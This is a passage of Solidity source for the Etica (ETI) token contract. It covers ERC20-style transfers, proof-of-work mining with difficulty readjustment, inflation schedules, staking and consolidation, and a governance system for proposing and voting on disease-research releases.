// ------------ PHASE 1 (before 21 Million ETI has been reached) -------------- //
// ------------ PHASE 2 (after the first 21 Million ETI have been issued) -------------- //
// Golden number power 2: 1,6180339887498948482045868343656 * 1,6180339887498948482045868343656 = 2.6180339887498948482045868343656;
// Thus yearly inflation target is 2.6180339887498948482045868343656%
// inflationrate calculation:
// Each Period is 7 days, so we need to get a weekly inflationrate from the yearlyinflationrate target (1.026180339887498948482045868343656):
// 1.026180339887498948482045868343656 ^(1 / 52.1429) = 1,0004957512263080183722688891602;
// 1,0004957512263080183722688891602 - 1 = 0,0004957512263080183722688891602;
// Hence weekly inflationrate is 0,04957512263080183722688891602%
inflationrate = 4957512263080183722688891602; // (need to multiple by 10^(-31) to get 0,0004957512263080183722688891602;
// ------------ PHASE 2 (after the first 21 Million ETI have been issued) -------------- //
//The creator gets nothing! The only way to earn Etica is to mine it or earn it as protocol reward
//balances[creator] = _totalMiningSupply;
//Transfer(address(0), creator, _totalMiningSupply);
}
function allowance(address tokenOwner, address spender) view public returns(uint){
return allowed[tokenOwner][spender];
}
//approve allowance
function approve(address spender, uint tokens) public returns(bool){
require(balances[msg.sender] >= tokens);
require(tokens > 0);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
//transfer tokens from the owner account to the account that calls the function
function transferFrom(address from, address to, uint tokens) public returns(bool){
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
function totalSupply() public view returns (uint){
return supply;
}
function accessibleSupply() public view returns (uint){
return supply.sub(UNRECOVERABLE_ETI);
}
function balanceOf(address tokenOwner) public view returns (uint balance){
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success){
require(tokens > 0);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------- Mining system functions ---------------- //
function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success) {
//the PoW must contain work that includes a recent ethereum block hash (challenge number) and the msg.sender's address to prevent MITM attacks
bytes32 digest = keccak256(abi.encodePacked(challengeNumber, msg.sender, nonce));
//the challenge digest must match the expected
if (digest != challenge_digest) revert();
//the digest must be smaller than the target
if(uint256(digest) > miningTarget) revert();
//only allow one reward for each challenge
bytes32 solution = solutionForChallenge[challengeNumber];
solutionForChallenge[challengeNumber] = digest;
if(solution != 0x0) revert(); //prevent the same answer from awarding twice
if(tokensMinted > 1890000 * 10**uint(decimals)){
if(tokensMinted >= 6300000 * 10**uint(decimals)) {
// 6 300 000 = 5 040 000 + 1 260 000;
//era5 to era10
blockreward = 19977152530194267420; // 19.977152530194267420 per block (amounts to 1050000 ETI a year)
periodrewardtemp = 20136969750435821559600; // from era5 to era 10: 20136.9697504358215596 ETI per week
}
else if (tokensMinted < 3570000 * 10**uint(decimals)) {
// 3 570 000 = 1 890 000 + 1 680 000;
// era2
blockreward = 31963444048310827872; // 31.963444048310827872 ETI per block (amounts to 1680000 ETI a year)
periodrewardtemp = 8054787900174328623800; // era2 8054.787900174328623800 ETI per week
}
else if (tokensMinted < 5040000 * 10**uint(decimals)) {
// 5 040 000 = 3 570 000 + 1 470 000;
//era3
blockreward = 27968013542271974388; // 27.968013542271974388 ETI per block (amounts to 1470000 ETI a year)
periodrewardtemp = 12082181850261492935800; // era3 12082.181850261492935800 ETI per week
}
else {
// era4
blockreward = 23972583036233120904; // 23.972583036233120904 per block (amounts to 1260000 ETI a year)
periodrewardtemp = 16109575800348657247700; // era4 16109.575800348657247700 ETI per week
}
}
tokensMinted = tokensMinted.add(blockreward);
//Cannot mint more tokens than there are: maximum ETI ever mined: _totalMiningSupply
assert(tokensMinted < _totalMiningSupply);
supply = supply.add(blockreward);
balances[msg.sender] = balances[msg.sender].add(blockreward);
//set readonly diagnostics data
lastRewardTo = msg.sender;
lastRewardEthBlockNumber = block.number;
_startNewMiningEpoch();
emit Mint(msg.sender, blockreward, epochCount, challengeNumber );
emit Transfer(address(this), msg.sender,blockreward);
return true;
}
//a new 'block' to be mined
function _startNewMiningEpoch() internal {
epochCount = epochCount.add(1);
//every so often, readjust difficulty. Dont readjust when deploying
if(epochCount % _BLOCKS_PER_READJUSTMENT == 0)
{
_reAdjustDifficulty();
}
//make the latest ethereum block hash a part of the next challenge for PoW to prevent pre-mining future blocks
//do this last since this is a protection mechanism in the mint() function
challengeNumber = blockhash(block.number.sub(1));
challengeNumber = keccak256(abi.encode(challengeNumber, RANDOMHASH)); // updates challengeNumber with merged mining protection
}
//readjust the target with same rules as bitcoin
function _reAdjustDifficulty() internal {
uint _oldtarget = miningTarget;
// should get as close as possible to (2016 * 10 minutes) seconds => 1 209 600 seconds
uint ethTimeSinceLastDifficultyPeriod = block.timestamp.sub(latestDifficultyPeriodStarted);
//we want miners to spend 10 minutes to mine each 'block'
uint targetTimePerDiffPeriod = _BLOCKS_PER_READJUSTMENT.mul(10 minutes); //Target is 1 209 600 seconds. (2016 * 10 minutes) seconds to mine _BLOCKS_PER_READJUSTMENT blocks of ETI.
//if there were less ethereum seconds-timestamp than expected, make it harder
if( ethTimeSinceLastDifficultyPeriod < targetTimePerDiffPeriod )
{
// New Mining Difficulty = Previous Mining Difficulty * (Time To Mine Last 2016 blocks / 1 209 600 seconds)
miningTarget = miningTarget.mul(ethTimeSinceLastDifficultyPeriod).div(targetTimePerDiffPeriod);
// the maximum factor of 4 will be applied as in bitcoin
if(miningTarget < _oldtarget.div(4)){
//make it harder
miningTarget = _oldtarget.div(4);
}
}else{
// New Mining Difficulty = Previous Mining Difficulty * (Time To Mine Last 2016 blocks / 1 209 600 seconds)
miningTarget = miningTarget.mul(ethTimeSinceLastDifficultyPeriod).div(targetTimePerDiffPeriod);
// the maximum factor of 4 will be applied as in bitcoin
if(miningTarget > _oldtarget.mul(4)){
//make it easier
miningTarget = _oldtarget.mul(4);
}
}
latestDifficultyPeriodStarted = block.timestamp;
if(miningTarget < _MINIMUM_TARGET) //very difficult
{
miningTarget = _MINIMUM_TARGET;
}
if(miningTarget > _MAXIMUM_TARGET) //very easy
{
miningTarget = _MAXIMUM_TARGET;
}
}
//this is a recent ethereum block hash, used to prevent pre-mining future blocks
function getChallengeNumber() public view returns (bytes32) {
return challengeNumber;
}
//the number of zeroes the digest of the PoW solution requires. Auto adjusts
function getMiningDifficulty() public view returns (uint) {
return _MAXIMUM_TARGET.div(miningTarget);
}
function getMiningTarget() public view returns (uint) {
return miningTarget;
}
//mining reward only if the protocol didnt reach the max ETI supply that can be ever mined:
function getMiningReward() public view returns (uint) {
if(tokensMinted <= _totalMiningSupply){
return blockreward;
}
else {
return 0;
}
}
//help debug mining software
function getMintDigest(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number) public view returns (bytes32 digesttest) {
bytes32 digest = keccak256(abi.encodePacked(challenge_number,msg.sender,nonce));
return digest;
}
//help debug mining software
function checkMintSolution(uint256 nonce, bytes32 challenge_digest, bytes32 challenge_number, uint testTarget) public view returns (bool success) {
bytes32 digest = keccak256(abi.encodePacked(challenge_number,msg.sender,nonce));
if(uint256(digest) > testTarget) revert();
return (digest == challenge_digest);
}
// ------------------ Mining system functions ------------------------- //
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () payable external {
revert();
}
}
contract EticaRelease is EticaToken {
/* --------- PROD VALUES ------------- */
uint public REWARD_INTERVAL = 7 days; // periods duration 7 jours
uint public STAKING_DURATION = 28 days; // default stake duration 28 jours
uint public DEFAULT_VOTING_TIME = 21 days; // default voting duration 21 days
uint public DEFAULT_REVEALING_TIME = 7 days; // default revealing duration 7 days
/* --------- PROD VALUES ------------- */
/* --------- TESTING VALUES -------------
uint public REWARD_INTERVAL = 1 minutes; // periods duration 7 jours
uint public STAKING_DURATION = 4 minutes; // default stake duration 28 jours
uint public DEFAULT_VOTING_TIME = 3 minutes; // default voting duration 21 days
uint public DEFAULT_REVEALING_TIME = 1 minutes; // default revealing duration 7 days
--------- TESTING VALUES -------------*/
uint public DISEASE_CREATION_AMOUNT = 100 * 10**uint(decimals); // 100 ETI amount to pay for creating a new disease. Necessary in order to avoid spam. Will create a function that periodically increase it in order to take into account inflation
uint public PROPOSAL_DEFAULT_VOTE = 10 * 10**uint(decimals); // 10 ETI amount to vote for creating a new proposal. Necessary in order to avoid spam. Will create a function that periodically increase it in order to take into account inflation
uint public APPROVAL_THRESHOLD = 5000; // threshold for proposal to be accepted. 5000 means 50.00 %, 6000 would mean 60.00%
uint public PERIODS_PER_THRESHOLD = 5; // number of Periods before readjusting APPROVAL_THRESHOLD
uint public SEVERITY_LEVEL = 4; // level of severity of the protocol, the higher the more slash to wrong voters
uint public PROPOSERS_INCREASER = 3; // the proposers should get more slashed than regular voters to avoid spam, the higher this var the more severe the protocol will be against bad proposers
uint public PROTOCOL_RATIO_TARGET = 7250; // 7250 means the Protocol has a goal of 72.50% proposals approved and 27.5% proposals rejected
uint public LAST_PERIOD_COST_UPDATE = 0;
struct Period{
uint id;
uint interval;
uint curation_sum; // used for proposals weight system
uint editor_sum; // used for proposals weight system
uint reward_for_curation; // total ETI issued to be used as Period reward for Curation
uint reward_for_editor; // total ETI issued to be used as Period reward for Editor
uint forprops; // number of accepted proposals in this period
uint againstprops; // number of rejected proposals in this period
}
struct Stake{
uint amount;
uint endTime; // Time when the stake will be claimable
}
// ----------- PROPOSALS STRUCTS ------------ //
// general information of Proposal:
struct Proposal{
uint id;
bytes32 proposed_release_hash; // Hash of "raw_release_hash + name of Disease"
bytes32 disease_id;
uint period_id;
uint chunk_id;
address proposer; // address of the proposer
string title; // Title of the Proposal
string description; // Description of the Proposal
string freefield;
string raw_release_hash;
}
// main data of Proposal:
struct ProposalData{
uint starttime; // epoch time of the proposal
uint endtime; // voting limite
uint finalized_time; // when first clmpropbyhash() was called
ProposalStatus status; // Only updates once, when the voting process is over
ProposalStatus prestatus; // Updates During voting process
bool istie; // will be initialized with value 0. if prop is tie it won't slash nor reward participants
uint nbvoters;
uint slashingratio; // solidity does not support float type. So will emulate float type by using uint
uint forvotes;
uint againstvotes;
uint lastcuration_weight; // period curation weight of proposal
uint lasteditor_weight; // period editor weight of proposal
}
// ----------- PROPOSALS STRUCTS ------------ //
// ----------- CHUNKS STRUCTS ------------ //
struct Chunk{
uint id;
bytes32 diseaseid; // hash of the disease
uint idx;
string title;
string desc;
}
// ----------- CHUNKS STRUCTS ------------ //
// ----------- VOTES STRUCTS ---------------- //
struct Vote{
bytes32 proposal_hash; // proposed_release_hash of proposal
bool approve;
bool is_editor;
uint amount;
address voter; // address of the voter
uint timestamp; // epoch time of the vote
bool is_claimed; // keeps track of whether or not vote has been claimed to avoid double claim on same vote
}
struct Commit{
uint amount;
uint timestamp; // epoch time of the vote
}
// ----------- VOTES STRUCTS ---------------- //
// ----------- DISEASES STRUCTS ---------------- //
struct Disease{
bytes32 disease_hash;
string name;
}
// ----------- DISEASES STRUCTS ---------------- //
enum ProposalStatus { Rejected, Accepted, Pending, Singlevoter }
mapping(uint => Period) public periods;
uint public periodsCounter;
mapping(uint => uint) public PeriodsIssued; // keeps track of which periods have already issued ETI
uint public PeriodsIssuedCounter;
mapping(uint => uint) public IntervalsPeriods; // keeps track of which intervals have already a period
uint public IntervalsPeriodsCounter;
mapping(uint => Disease) public diseases; // keeps track of which intervals have already a period
uint public diseasesCounter;
mapping(bytes32 => uint) public diseasesbyIds; // get disease.index by giving its disease_hash: example: [leiojej757575ero] => [0] where leiojej757575ero is disease_hash of a Disease
mapping(string => bytes32) private diseasesbyNames; // get disease.disease_hash by giving its name: example: ["name of a disease"] => [leiojej757575ero] where leiojej757575ero is disease_hash of a Disease. Set visibility to private because mapping with strings as keys have issues when public visibility
mapping(bytes32 => mapping(uint => bytes32)) public diseaseproposals; // mapping of mapping of all proposals for a disease
mapping(bytes32 => uint) public diseaseProposalsCounter; // keeps track of how many proposals for each disease
// ----------- PROPOSALS MAPPINGS ------------ //
mapping(bytes32 => Proposal) public proposals;
mapping(uint => bytes32) public proposalsbyIndex; // get proposal.proposed_release_hash by giving its id (index): example: [2] => [huhihgfytoouhi] where huhihgfytoouhi is proposed_release_hash of a Proposal
uint public proposalsCounter;
mapping(bytes32 => ProposalData) public propsdatas;
// ----------- PROPOSALS MAPPINGS ------------ //
// ----------- CHUNKS MAPPINGS ---------------- //
mapping(uint => Chunk) public chunks;
uint public chunksCounter;
mapping(bytes32 => mapping(uint => uint)) public diseasechunks; // chunks of a disease
mapping(uint => mapping(uint => bytes32)) public chunkproposals; // proposals of a chunk
mapping(bytes32 => uint) public diseaseChunksCounter; // keeps track of how many chunks for each disease
mapping(uint => uint) public chunkProposalsCounter; // keeps track of how many proposals for each chunk
// ----------- CHUNKS MAPPINGS ---------------- //
// ----------- VOTES MAPPINGS ---------------- //
mapping(bytes32 => mapping(address => Vote)) public votes;
mapping(address => mapping(bytes32 => Commit)) public commits;
// ----------- VOTES MAPPINGS ---------------- //
mapping(address => uint) public bosoms;
mapping(address => mapping(uint => Stake)) public stakes;
mapping(address => uint) public stakesCounters; // keeps track of how many stakes for each user
mapping(address => uint) public stakesAmount; // keeps track of total amount of stakes for each user
// Blocked ETI amount, user has votes with this amount in process and can't retrieve this amount before the system knows if the user has to be slahed
mapping(address => uint) public blockedeticas;
// ---------- EVENTS ----------- //
event CreatedPeriod(uint indexed period_id, uint interval);
event NewDisease(uint indexed diseaseindex, string title);
event NewProposal(bytes32 proposed_release_hash, address indexed _proposer, bytes32 indexed diseasehash, uint indexed chunkid);
event NewChunk(uint indexed chunkid, bytes32 indexed diseasehash);
event RewardClaimed(address indexed voter, uint amount, bytes32 proposal_hash);
event NewFee(address indexed voter, uint fee, bytes32 proposal_hash);
event NewSlash(address indexed voter, uint duration, bytes32 proposal_hash);
event NewCommit(address indexed _voter, bytes32 votehash);
event NewReveal(address indexed _voter, bytes32 indexed _proposal);
event NewStake(address indexed staker, uint amount);
event StakeClaimed(address indexed staker, uint stakeamount);
// ----------- EVENTS ---------- //
// ------------- PUBLISHING SYSTEM REWARD FUNCTIONS ---------------- //
function issue(uint _id) internal returns (bool success) {
// we check whether there is at least one period
require(periodsCounter > 0);
// we check that the period exists
require(_id > 0 && _id <= periodsCounter);
// we retrieve the period
Period storage period = periods[_id];
// we check that the period is legit and has been retrieved
require(period.id != 0);
//only allow one issuance for each period
uint rwd = PeriodsIssued[period.id];
if(rwd != 0x0) revert(); //prevent the same period from issuing twice
uint _periodsupply;
// Phase 2 (after 21 000 000 ETI has been reached)
if(supply >= 21000000 * 10**(decimals)){
_periodsupply = uint((supply.mul(inflationrate)).div(10**(31)));
}
// Phase 1 (before 21 000 000 ETI has been reached)
else {
_periodsupply = periodrewardtemp;
}
// update Period Reward:
period.reward_for_curation = uint((_periodsupply.mul(PERIOD_CURATION_REWARD_RATIO)).div(10**(11)));
period.reward_for_editor = uint((_periodsupply.mul(PERIOD_EDITOR_REWARD_RATIO)).div(10**(11)));
supply = supply.add(_periodsupply);
balances[address(this)] = balances[address(this)].add(_periodsupply);
PeriodsIssued[period.id] = _periodsupply;
PeriodsIssuedCounter = PeriodsIssuedCounter.add(1);
return true;
}
// create a period
function newPeriod() internal {
uint _interval = uint((block.timestamp).div(REWARD_INTERVAL));
//only allow one period for each interval
uint rwd = IntervalsPeriods[_interval];
if(rwd != 0x0) revert(); //prevent the same interval from having 2 periods
periodsCounter = periodsCounter.add(1);
// store this interval period
periods[periodsCounter] = Period(
periodsCounter,
_interval,
0x0, //_curation_sum
0x0, //_editor_sum
0x0, //_reward_for_curation
0x0, //_reward_for_editor
0x0, // _forprops
0x0 //_againstprops
);
// an interval cannot have 2 Periods
IntervalsPeriods[_interval] = periodsCounter;
IntervalsPeriodsCounter = IntervalsPeriodsCounter.add(1);
// issue ETI for this Period Reward
issue(periodsCounter);
//readjust APPROVAL_THRESHOLD every PERIODS_PER_THRESHOLD periods:
if((periodsCounter.sub(1)) % PERIODS_PER_THRESHOLD == 0 && periodsCounter > 1)
{
readjustThreshold();
}
emit CreatedPeriod(periodsCounter, _interval);
}
function readjustThreshold() internal {
uint _meanapproval = 0;
uint _totalfor = 0; // total of proposals accepetd
uint _totalagainst = 0; // total of proposals rejected
// calculate the mean approval rate (forprops / againstprops) of last PERIODS_PER_THRESHOLD Periods:
for(uint _periodidx = periodsCounter.sub(PERIODS_PER_THRESHOLD); _periodidx <= periodsCounter.sub(1); _periodidx++){
_totalfor = _totalfor.add(periods[_periodidx].forprops);
_totalagainst = _totalagainst.add(periods[_periodidx].againstprops);
}
if(_totalfor.add(_totalagainst) == 0){
_meanapproval = 5000;
}
else{
_meanapproval = uint(_totalfor.mul(10000).div(_totalfor.add(_totalagainst)));
}
// increase or decrease APPROVAL_THRESHOLD based on comparason between _meanapproval and PROTOCOL_RATIO_TARGET:
// if there were not enough approvals:
if( _meanapproval < PROTOCOL_RATIO_TARGET )
{
uint shortage_approvals_rate = (PROTOCOL_RATIO_TARGET.sub(_meanapproval));
// require lower APPROVAL_THRESHOLD for next period:
APPROVAL_THRESHOLD = uint(APPROVAL_THRESHOLD.sub(((APPROVAL_THRESHOLD.sub(4500)).mul(shortage_approvals_rate)).div(10000))); // decrease by up to 27.50 % of (APPROVAL_THRESHOLD - 45)
}else{
uint excess_approvals_rate = uint((_meanapproval.sub(PROTOCOL_RATIO_TARGET)));
// require higher APPROVAL_THRESHOLD for next period:
APPROVAL_THRESHOLD = uint(APPROVAL_THRESHOLD.add(((10000 - APPROVAL_THRESHOLD).mul(excess_approvals_rate)).div(10000))); // increase by up to 27.50 % of (100 - APPROVAL_THRESHOLD)
}
if(APPROVAL_THRESHOLD < 4500) // high discouragement to vote against proposals
{
APPROVAL_THRESHOLD = 4500;
}
if(APPROVAL_THRESHOLD > 9900) // high discouragement to vote for proposals
{
APPROVAL_THRESHOLD = 9900;
}
}
// ------------- PUBLISHING SYSTEM REWARD FUNCTIONS ---------------- //
// -------------------- STAKING ----------------------- //
// eticatobosoms(): Stake etica in exchange for bosom
function eticatobosoms(address _staker, uint _amount) public returns (bool success){
require(msg.sender == _staker);
require(_amount > 0); // even if transfer require amount > 0 I prefer checking for more security and very few more gas
// transfer _amount ETI from staker wallet to contract balance:
transfer(address(this), _amount);
// Get bosoms and add Stake
bosomget(_staker, _amount);
return true;
}
// ---- Get bosoms ------ //
//bosomget(): Get bosoms and add Stake. Only contract is able to call this function:
function bosomget (address _staker, uint _amount) internal {
addStake(_staker, _amount);
bosoms[_staker] = bosoms[_staker].add(_amount);
}
// ---- Get bosoms ------ //
// ---- add Stake ------ //
function addStake(address _staker, uint _amount) internal returns (bool success) {
require(_amount > 0);
stakesCounters[_staker] = stakesCounters[_staker].add(1); // notice that first stake will have the index of 1 thus not 0 !
// increase variable that keeps track of total value of user's stakes
stakesAmount[_staker] = stakesAmount[_staker].add(_amount);
uint endTime = block.timestamp.add(STAKING_DURATION);
// store this stake in _staker's stakes with the index stakesCounters[_staker]
stakes[_staker][stakesCounters[_staker]] = Stake(
_amount, // stake amount
endTime // endTime
);
emit NewStake(_staker, _amount);
return true;
}
function addConsolidation(address _staker, uint _amount, uint _endTime) internal returns (bool success) {
require(_amount > 0);
stakesCounters[_staker] = stakesCounters[_staker].add(1); // notice that first stake will have the index of 1 thus not 0 !
// increase variable that keeps track of total value of user's stakes
stakesAmount[_staker] = stakesAmount[_staker].add(_amount);
// store this stake in _staker's stakes with the index stakesCounters[_staker]
stakes[_staker][stakesCounters[_staker]] = Stake(
_amount, // stake amount
_endTime // endTime
);
emit NewStake(_staker, _amount);
return true;
}
// ---- add Stake ------ //
// ---- split Stake ------ //
function splitStake(address _staker, uint _amount, uint _endTime) internal returns (bool success) {
require(_amount > 0);
stakesCounters[_staker] = stakesCounters[_staker].add(1); // notice that first stake will have the index of 1 thus not 0 !
// store this stake in _staker's stakes with the index stakesCounters[_staker]
stakes[_staker][stakesCounters[_staker]] = Stake(
_amount, // stake amount
_endTime // endTime
);
return true;
}
// ---- split Stake ------ //
// ---- Redeem a Stake ------ //
//stakeclmidx(): redeem a stake by its index
function stakeclmidx (uint _stakeidx) public {
// we check that the stake exists
require(_stakeidx > 0 && _stakeidx <= stakesCounters[msg.sender]);
// we retrieve the stake
Stake storage _stake = stakes[msg.sender][_stakeidx];
// The stake must be over
require(block.timestamp > _stake.endTime);
// the amount to be unstaked must be less or equal to the amount of ETI currently marked as blocked in blockedeticas as they need to go through the clmpropbyhash before being unstaked !
require(_stake.amount <= stakesAmount[msg.sender].sub(blockedeticas[msg.sender]));
// transfer back ETI from contract to staker:
balances[address(this)] = balances[address(this)].sub(_stake.amount);
balances[msg.sender] = balances[msg.sender].add(_stake.amount);
emit Transfer(address(this), msg.sender, _stake.amount);
emit StakeClaimed(msg.sender, _stake.amount);
// deletes the stake
_deletestake(msg.sender, _stakeidx);
}
// ---- Redeem a Stake ------ //
// ---- Remove a Stake ------ //
function _deletestake(address _staker,uint _index) internal {
// we check that the stake exists
require(_index > 0 && _index <= stakesCounters[_staker]);
// decrease variable that keeps track of total value of user's stakes
stakesAmount[_staker] = stakesAmount[_staker].sub(stakes[_staker][_index].amount);
// replace value of stake to be deleted by value of last stake
stakes[_staker][_index] = stakes[_staker][stakesCounters[_staker]];
// remove last stake
stakes[_staker][stakesCounters[_staker]] = Stake(
0x0, // amount
0x0 // endTime
);
// updates stakesCounter of _staker
stakesCounters[_staker] = stakesCounters[_staker].sub(1);
}
// ---- Remove a Stake ------ //
// ----- Stakes consolidation ----- //
// slashing function needs to loop through stakes. Can create issues for claiming votes:
// The function stakescsldt() has been created to consolidate (gather) stakes when user has too much stakes
function stakescsldt(uint _endTime, uint _min_limit, uint _maxidx) public {
// security to avoid blocking ETI by front end apps that could call function with too high _endTime:
require(_endTime < block.timestamp.add(730 days)); // _endTime cannot be more than two years ahead
// _maxidx must be less or equal to nb of stakes and we set a limit for loop of 50:
require(_maxidx <= 50 && _maxidx <= stakesCounters[msg.sender]);
uint newAmount = 0;
uint _nbdeletes = 0;
uint _currentidx = 1;
for(uint _stakeidx = 1; _stakeidx <= _maxidx; _stakeidx++) {
// only consolidates if account nb of stakes >= 2 :
if(stakesCounters[msg.sender] >= 2){
if(_stakeidx <= stakesCounters[msg.sender]){
_currentidx = _stakeidx;
}
else {
// if _stakeidx > stakesCounters[msg.sender] it means the _deletestake() function has pushed the next stakes at the begining:
_currentidx = _stakeidx.sub(_nbdeletes); //Notice: initial stakesCounters[msg.sender] = stakesCounters[msg.sender] + _nbdeletes.
//So "_stackidx <= _maxidx <= initial stakesCounters[msg.sender]" ===> "_stakidx <= stakesCounters[msg.sender] + _nbdeletes" ===> "_stackidx - _nbdeletes <= stakesCounters[msg.sender]"
assert(_currentidx >= 1); // makes sure _currentidx is within existing stakes range
}
//if stake should end sooner than _endTime it can be consolidated into a stake that end latter:
// Plus we check the stake.endTime is above the minimum limit the user is willing to consolidate. For instance user doesn't want to consolidate a stake that is ending tomorrow
if(stakes[msg.sender][_currentidx].endTime <= _endTime && stakes[msg.sender][_currentidx].endTime >= _min_limit) {
newAmount = newAmount.add(stakes[msg.sender][_currentidx].amount);
_deletestake(msg.sender, _currentidx);
_nbdeletes = _nbdeletes.add(1);
}
}
}
if (newAmount > 0){
// creates the new Stake
addConsolidation(msg.sender, newAmount, _endTime);
}
}
// ----- Stakes consolidation ----- //
// ----- Stakes de-consolidation ----- //
// this function is necessary because if user has a stake with huge amount and has blocked few ETI then he can't claim the Stake because
// stake.amount > StakesAmount - blockedeticas
function stakesnap(uint _stakeidx, uint _snapamount) public {
require(_snapamount > 0);
// we check that the stake exists
require(_stakeidx > 0 && _stakeidx <= stakesCounters[msg.sender]);
// we retrieve the stake
Stake storage _stake = stakes[msg.sender][_stakeidx];
// the stake.amount must be higher than _snapamount:
require(_stake.amount > _snapamount);
// calculate the amount of new stake:
uint _restAmount = _stake.amount.sub(_snapamount);
// updates the stake amount:
_stake.amount = _snapamount;
// ----- creates a new stake with the rest -------- //
stakesCounters[msg.sender] = stakesCounters[msg.sender].add(1);
// store this stake in _staker's stakes with the index stakesCounters[_staker]
stakes[msg.sender][stakesCounters[msg.sender]] = Stake(
_restAmount, // stake amount
_stake.endTime // endTime
);
// ------ creates a new stake with the rest ------- //
assert(_restAmount > 0);
}
// ----- Stakes de-consolidation ----- //
function stakescount(address _staker) public view returns (uint slength){
return stakesCounters[_staker];
}
// ----------------- STAKING ------------------ //
// ------------- PUBLISHING SYSTEM CORE FUNCTIONS ---------------- //
function createdisease(string memory _name) public {
// --- REQUIRE PAYMENT FOR ADDING A DISEASE TO CREATE A BARRIER TO ENTRY AND AVOID SPAM --- //
// make sure the user has enough ETI to create a disease
require(balances[msg.sender] >= DISEASE_CREATION_AMOUNT);
// transfer DISEASE_CREATION_AMOUNT ETI from user wallet to contract wallet:
transfer(address(this), DISEASE_CREATION_AMOUNT);
UNRECOVERABLE_ETI = UNRECOVERABLE_ETI.add(DISEASE_CREATION_AMOUNT);
// --- REQUIRE PAYMENT FOR ADDING A DISEASE TO CREATE A BARRIER TO ENTRY AND AVOID SPAM --- //
bytes32 _diseasehash = keccak256(abi.encode(_name));
diseasesCounter = diseasesCounter.add(1); // notice that first disease will have the index of 1 thus not 0 !
//check: if the disease is new we continue, otherwise we exit
if(diseasesbyIds[_diseasehash] != 0x0) revert(); //prevent the same disease from being created twice. The software manages diseases uniqueness based on their unique english name. Note that even the first disease will not have index of 0 thus should pass this check
require(diseasesbyNames[_name] == 0); // make sure it is not overwriting another disease thanks to unexpected string tricks from user
// store the Disease
diseases[diseasesCounter] = Disease(
_diseasehash,
_name
);
// Updates diseasesbyIds and diseasesbyNames mappings:
diseasesbyIds[_diseasehash] = diseasesCounter;
diseasesbyNames[_name] = _diseasehash;
emit NewDisease(diseasesCounter, _name);
}
function propose(bytes32 _diseasehash, string memory _title, string memory _description, string memory raw_release_hash, string memory _freefield, uint _chunkid) public {
//check if the disease exits
require(diseasesbyIds[_diseasehash] > 0 && diseasesbyIds[_diseasehash] <= diseasesCounter);
if(diseases[diseasesbyIds[_diseasehash]].disease_hash != _diseasehash) revert(); // second check not necessary but I decided to add it as the gas cost value for security is worth it
require(_chunkid <= chunksCounter);
bytes32 _proposed_release_hash = keccak256(abi.encode(raw_release_hash, _diseasehash));
diseaseProposalsCounter[_diseasehash] = diseaseProposalsCounter[_diseasehash].add(1);
diseaseproposals[_diseasehash][diseaseProposalsCounter[_diseasehash]] = _proposed_release_hash;
proposalsCounter = proposalsCounter.add(1); // notice that first proposal will have the index of 1 thus not 0 !
proposalsbyIndex[proposalsCounter] = _proposed_release_hash;
// Check that proposal does not already exist
// only allow one proposal for each {raw_release_hash, _diseasehash} combinasion
bytes32 existing_proposal = proposals[_proposed_release_hash].proposed_release_hash;
if(existing_proposal != 0x0 || proposals[_proposed_release_hash].id != 0) revert(); //prevent the same raw_release_hash from being submited twice on same proposal. Double check for better security and slightly higher gas cost even though one would be enough !
uint _current_interval = uint((block.timestamp).div(REWARD_INTERVAL));
// Create new Period if this current interval did not have its Period created yet
if(IntervalsPeriods[_current_interval] == 0x0){
newPeriod();
}
Proposal storage proposal = proposals[_proposed_release_hash];
proposal.id = proposalsCounter;
proposal.disease_id = _diseasehash; // _diseasehash has already been checked to equal diseases[diseasesbyIds[_diseasehash]].disease_hash
proposal.period_id = IntervalsPeriods[_current_interval];
proposal.proposed_release_hash = _proposed_release_hash; // Hash of "raw_release_hash + name of Disease",
proposal.proposer = msg.sender;
proposal.title = _title;
proposal.description = _description;
proposal.raw_release_hash = raw_release_hash;
proposal.freefield = _freefield;
// Proposal Data:
ProposalData storage proposaldata = propsdatas[_proposed_release_hash];
proposaldata.status = ProposalStatus.Pending;
proposaldata.istie = true;
proposaldata.prestatus = ProposalStatus.Pending;
proposaldata.nbvoters = 0;
proposaldata.slashingratio = 0;
proposaldata.forvotes = 0;
proposaldata.againstvotes = 0;
proposaldata.lastcuration_weight = 0;
proposaldata.lasteditor_weight = 0;
proposaldata.starttime = block.timestamp;
proposaldata.endtime = block.timestamp.add(DEFAULT_VOTING_TIME);
// --- REQUIRE DEFAULT VOTE TO CREATE A BARRIER TO ENTRY AND AVOID SPAM --- //
require(bosoms[msg.sender] >= PROPOSAL_DEFAULT_VOTE); // this check is not mandatory as handled by safemath sub function: (bosoms[msg.sender].sub(PROPOSAL_DEFAULT_VOTE))
// Consume bosom:
bosoms[msg.sender] = bosoms[msg.sender].sub(PROPOSAL_DEFAULT_VOTE);
// Block Eticas in eticablkdtbl to prevent user from unstaking before eventual slash
blockedeticas[msg.sender] = blockedeticas[msg.sender].add(PROPOSAL_DEFAULT_VOTE);
// store vote:
Vote storage vote = votes[proposal.proposed_release_hash][msg.sender];
vote.proposal_hash = proposal.proposed_release_hash;
vote.approve = true;
vote.is_editor = true;
vote.amount = PROPOSAL_DEFAULT_VOTE;
vote.voter = msg.sender;
vote.timestamp = block.timestamp;
// UPDATE PROPOSAL:
proposaldata.prestatus = ProposalStatus.Singlevoter;
// if chunk exists and belongs to disease updates proposal.chunk_id:
uint existing_chunk = chunks[_chunkid].id;
if(existing_chunk != 0x0 && chunks[_chunkid].diseaseid == _diseasehash) {
proposal.chunk_id = _chunkid;
// updates chunk proposals infos:
chunkProposalsCounter[_chunkid] = chunkProposalsCounter[_chunkid].add(1);
chunkproposals[_chunkid][chunkProposalsCounter[_chunkid]] = proposal.proposed_release_hash;
}
// --- REQUIRE DEFAULT VOTE TO CREATE A BARRIER TO ENTRY AND AVOID SPAM --- //
RANDOMHASH = keccak256(abi.encode(RANDOMHASH, _proposed_release_hash)); // updates RANDOMHASH
